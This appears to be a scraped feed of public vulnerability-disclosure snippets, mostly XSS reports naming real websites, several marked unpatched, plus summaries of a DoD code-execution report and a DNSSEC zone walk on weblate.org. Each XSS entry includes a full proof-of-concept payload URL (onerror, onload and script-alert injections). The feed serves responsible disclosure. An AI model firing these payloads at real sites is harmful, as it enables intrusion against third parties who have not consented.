nghsctg.edu.bd XSS vulnerability

Vulnerable URL: http://nghsctg.edu.bd/?p=result-search=%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E=1=GO Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 20:49 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

U.S. Dept Of Defense: Limited code execution vulnerability on a DoD website

A DoD website was misconfigured in a manner that could have allowed an attacker to execute some malicious code. @sp1d3rs was able to demonstrate this vulnerability by crafting a specially formatted URL. Thank you for notifying us of this vulnerability! This bug was an interesting one. I will writ...

hmoobhot.com XSS vulnerability

Vulnerable URL: http://www.hmoobhot.com/search.php?q=%22/%3E%3C/script%3E%3Cscript%3Ealert/XSSPOSED/%3C/script%3E Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 20:48 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

woodlandmarketing.com XSS vulnerability

Vulnerable URL: http://www.woodlandmarketing.com/contactus.php?firstname="'--!==&address1;=&address2;=======by=None+Selected=23S15W15S= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Ran...

gsgroup.com XSS vulnerability

Vulnerable URL: http://www.gsgroup.com/?S=1"'--! Details: Description| Value ---|--- Patched:| No Latest check for patch:| 10.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check gsgroup.com SSL connection:|...

diamondorganics.com XSS vulnerability

Vulnerable URL: http://www.diamondorganics.com/search.php?sc=All=as"'--! Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1187352 VIP website status:| No Check diamondorganics.com SS...

interstatealliance.com XSS vulnerability

Vulnerable URL: http://www.interstatealliance.com/results?st=1%27-confirm%27OPENBUGBOUNTY%27-%27=7 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP websi...

ultraserver.org XSS vulnerability

Vulnerable URL: http://www.ultraserver.org/mwhois.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check ultraserver.org SSL...

businessdirect.bt.com XSS vulnerability

Vulnerable URL: https://www.businessdirect.bt.com/search?q=%0A%22%3Ctextarea/%09%00%09onmouseover=alert/OPENBUGBOUNTY///%09style=height:9999px;width:9999px;z-index:2000;top:0;left:0;position:fixed;/ Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability...

insegreto.com XSS vulnerability

Vulnerable URL: http://insegreto.com/cerca?query=prompt%27OPENBUGBOUNTY%27...

secure.lltruck-usa.com XSS vulnerability

Vulnerable URL: https://secure.lltruck-usa.com/cgi-local/products.cgi Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

crm.inhni.com XSS vulnerability

Vulnerable URL: http://www.crm.inhni.com/inhniCRM/login.jsp?forwardPage=%2Fhome.fl=Xss%3C/span%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E+vous+identifier Details: Description| Value ---|--- Patched:| No Latest check for patch:| 08.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

libguides.wlu.edu XSS vulnerability

Vulnerable URL: http://libguides.wlu.edu/az.php?q="'--!alert'OPENBUGBOUNTY'...

libguides.wju.edu XSS vulnerability

Vulnerable URL: http://libguides.wju.edu/az.php?q="'--!alert'OPENBUGBOUNTY'...

consult.cash XSS vulnerability

Vulnerable URL: https://consult.cash/ticket?id=27 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3891475 VIP website status:| No Coordinated Disclosure Timeline: Description| Value ---|--- Vulnerability submitte...

moeobrazovanie.ru XSS vulnerability

Vulnerable URL: http://www.moeobrazovanie.ru/search?section=vuzid=161okso=lol...

tschelseamarie.com XSS vulnerability

Vulnerable URL: http://tschelseamarie.com/tour/?nats=%22%3E%3Cimg%20src=x%20onerror=prompt%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2640126 VIP website status:| No Check...

springthomas.com XSS vulnerability

Vulnerable URL: http://www.springthomas.com/tour/search.php?term=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 709678 VIP...

Weblate: DNSSEC Zone Walk using NSEC Records

Due to a design flaw in the NSEC records used by DNSSEC it is possible to discover all subdomains of a particular domain for which NSEC records are available. NSEC records are used by the weblate.org domain which means anyone can retreive all subdomains of weblate.org. These subdomains can contai...

hometowngirls.com XSS vulnerability

Vulnerable URL: http://www.hometowngirls.com/?nats="MC4wLjkuOS4wLjAuMC4wLjA Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4098685 VIP website status:| No Check hometowngirls.com S...